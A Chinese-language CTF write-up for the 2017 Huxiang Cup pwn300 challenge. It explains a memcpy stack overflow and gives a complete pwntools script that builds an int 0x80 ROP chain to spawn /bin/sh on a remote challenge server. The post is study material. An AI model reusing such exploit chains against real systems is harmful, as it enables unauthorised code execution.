美文网首页
Int 0x80 ROP链(x86)

Int 0x80 ROP链(x86)

作者: BJChangAn | 来源:发表于2017-11-30 11:06 被阅读0次

    2017年湖湘杯的一道pwn题

    2017 湖湘杯 pwn300

    用memcpy把堆中数据向栈上写的时候造成栈溢出

    稍微注意下这里栈溢出进行覆盖时会把栈上存放堆地址的位置也覆盖掉了,后面free的时候由于参数不是有效的堆地址会出一点问题。这里直接覆盖为0,从而执行free(0),就不会出错了。

    程序是静态链接的,直接构造int 0x80的rop链,另外‘bin/sh'直接存放在ResultMul(0x080EBF28)和ResultAdd(0x080EBF2C)里面就可以了


    from pwn import *

    #p=process('./pwn300')

    p=remote('118.190.83.164',10080)

    def add(a1,a2):

    p.recvuntil('5 Save the result')

    p.sendline('1')

    p.recvuntil('input the integer x:')

    p.sendline(str(a1))

    p.recvuntil('input the integer y:')

    p.sendline(str(a2))

    def sub(a1,a2):

    p.recvuntil('5 Save the result')

    p.sendline('2')

    p.recvuntil('input the integer x:')

    p.sendline(str(a1))

    p.recvuntil('input the integer y:')

    p.sendline(str(a2))

    def mul(a1,a2):

    p.recvuntil('5 Save the result')

    p.sendline('3')

    p.recvuntil('input the integer x:')

    p.sendline(str(a1))

    p.recvuntil('input the integer y:')

    p.sendline(str(a2))

    def div(a1,a2):

    p.recvuntil('5 Save the result')

    p.sendline('4')

    p.recvuntil('input the integer x:')

    p.sendline(str(a1))

    p.recvuntil('input the integer y:')

    p.sendline(str(a2))

    def save():

    p.recvuntil('5 Save the result')

    p.sendline('5')

    p.recvuntil('How many times do you want to calculate:')

    p.sendline('27')

    #gdb.attach(p,'b* 0x8048f9d')

    for i in range(16):

    add(0,0)

    add(0,0x80bb406)#pop eax ; ret

    add(0,11)

    add(0,0x806ed0a)#pop edx ; ret

    add(0,0)

    add(0,0x806ed31)#pop ecx ; pop ebx ; ret

    add(0,0)

    add(0,0x80ebf28)#

    add(0,0x8049781)#int 0x80

    mul(1,0x6e69622f)

    add(0,0x68732f2f)

    save()

    p.interactive()


    PS:鶸的每日一坑...一开始用execve('/bin/sh;')怎么都不对。。。最后想到用过一个shellcode里面用的是   

    '/bin//sh',试了下成了> <!

    原因还待探索。

    相关文章

      网友评论

          本文标题:Int 0x80 ROP链(x86)

          本文链接:https://www.haomeiwen.com/subject/krxvbxtx.html